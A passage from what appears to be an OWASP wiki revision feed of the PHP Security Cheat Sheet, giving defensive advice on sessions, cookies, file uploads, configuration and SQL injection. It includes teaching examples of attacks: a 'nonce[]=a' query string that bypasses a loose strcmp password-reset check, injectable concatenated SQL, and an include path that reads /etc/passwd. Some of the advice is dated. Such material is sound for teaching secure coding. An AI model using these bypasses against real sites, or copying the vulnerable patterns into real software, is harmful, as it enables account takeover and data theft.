* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165227</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165227"/>
				<updated>2014-01-01T13:31:52Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web&lt;br /&gt;
servers deploy PHP. PHP is open source.&lt;br /&gt;
&lt;br /&gt;
PHP is unusual in that it is both a language and a web framework, in that it&lt;br /&gt;
comes with the typical features of a web framework built-in. Like all web&lt;br /&gt;
languages, there is also a large community of libraries etc., which also&lt;br /&gt;
contribute to the security (or otherwise) of programming in PHP. All 3 aspects&lt;br /&gt;
need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like 'in_array') use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libaries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under 'Configuration'.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
